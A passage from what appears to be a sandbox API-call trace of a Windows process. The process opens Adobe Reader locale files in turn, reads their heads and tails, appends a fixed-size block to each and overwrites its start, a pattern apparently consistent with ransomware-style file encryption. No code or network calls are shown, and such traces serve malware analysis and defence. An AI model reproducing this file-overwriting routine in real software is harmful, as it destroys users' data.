(hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.461] ReleaseMutex (hMutex=0x128) returned 1 [0038.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.POL", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.POL", lpUsedDefaultChar=0x0) returned 10 [0038.461] ReadFile (in: hFile=0x12c, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0038.464] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0038.464] WriteFile (in: hFile=0x12c, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0038.464] CloseHandle (hObject=0x12c) returned 1 [0038.464] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Acroform.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\acroform.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.467] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.467] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x69400 [0038.467] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.467] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.467] ReleaseMutex (hMutex=0x128) returned 1 [0038.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.PTB", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.PTB", lpUsedDefaultChar=0x0) returned 12 [0038.467] ReadFile (in: hFile=0x1a0, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0038.471] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x68400 [0038.471] ReadFile (in: hFile=0x1a0, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.475] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x68400 [0038.475] WriteFile (in: hFile=0x1a0, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.476] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0038.476] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0038.476] CloseHandle (hObject=0x1a0) returned 1 [0038.476] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\makeaccessible.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\makeaccessible.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.476] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.476] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x13200 [0038.476] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.476] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.476] ReleaseMutex (hMutex=0x128) returned 1 [0038.476] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.PTB", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.476] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.PTB", cchWideChar=18, lpMultiByteStr=0x1e78974, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.PTB", lpUsedDefaultChar=0x0) returned 18 [0038.477] ReadFile (in: hFile=0x1a0, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.480] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x12200 [0038.480] ReadFile (in: hFile=0x1a0, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.480] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x12200 [0038.480] WriteFile (in: hFile=0x1a0, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.480] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0038.480] WriteFile (in: hFile=0x1a0, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.480] CloseHandle (hObject=0x1a0) returned 1 [0038.480] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0038.484] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.484] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x8fab [0038.484] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.484] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.484] ReleaseMutex (hMutex=0x128) returned 1 [0038.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6320c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0038.484] ReadFile (in: hFile=0x12c, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.486] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7fab [0038.486] ReadFile (in: hFile=0x12c, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.487] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7fab [0038.487] WriteFile (in: hFile=0x12c, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.488] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0038.488] WriteFile (in: hFile=0x12c, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.488] CloseHandle (hObject=0x12c) returned 1 [0038.488] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Checkers.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\checkers.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.656] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.656] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1fa00 [0038.656] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.656] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.656] ReleaseMutex (hMutex=0x128) returned 1 [0038.656] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.656] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUM", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.RUM", lpUsedDefaultChar=0x0) returned 12 [0038.656] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.658] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1ea00 [0038.658] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.659] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1ea00 [0038.659] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.659] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0038.659] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.659] CloseHandle (hObject=0x1ac) returned 1 [0038.659] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\RdLang32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\rdlang32.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.660] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.660] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x154600 [0038.660] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.660] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.660] ReleaseMutex (hMutex=0x128) returned 1 [0038.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUM", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.RUM", lpUsedDefaultChar=0x0) returned 12 [0038.661] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0038.663] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.664] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x153600 [0038.664] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.665] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x153600 [0038.666] WriteFile (in: hFile=0x1ac, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.666] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0038.666] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0038.666] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.666] CloseHandle (hObject=0x1ac) returned 1 [0038.667] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Weblink.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\weblink.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.667] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.668] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x7200 [0038.668] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.668] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.668] ReleaseMutex (hMutex=0x128) returned 1 [0038.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUM", cchWideChar=11, lpMultiByteStr=0x1e6322c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.RUM", lpUsedDefaultChar=0x0) returned 11 [0038.668] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.669] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x6200 [0038.669] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.670] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x6200 [0038.670] WriteFile (in: hFile=0x1ac, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.670] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0038.670] WriteFile (in: hFile=0x1ac, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.670] CloseHandle (hObject=0x1ac) returned 1 [0038.670] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\EScript.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\escript.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.671] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.671] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xa000 [0038.671] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0038.671] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.671] ReleaseMutex (hMutex=0x128) returned 1 [0038.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUS", cchWideChar=11, lpMultiByteStr=0x1e6320c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.RUS", lpUsedDefaultChar=0x0) returned 11 [0038.672] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.673] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x9000 [0038.673] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.674] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x9000 [0038.674] WriteFile (in: hFile=0x1ac, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.674] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0038.674] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.674] CloseHandle (hObject=0x1ac) returned 1 [0038.675] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Search.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\search.rus"), 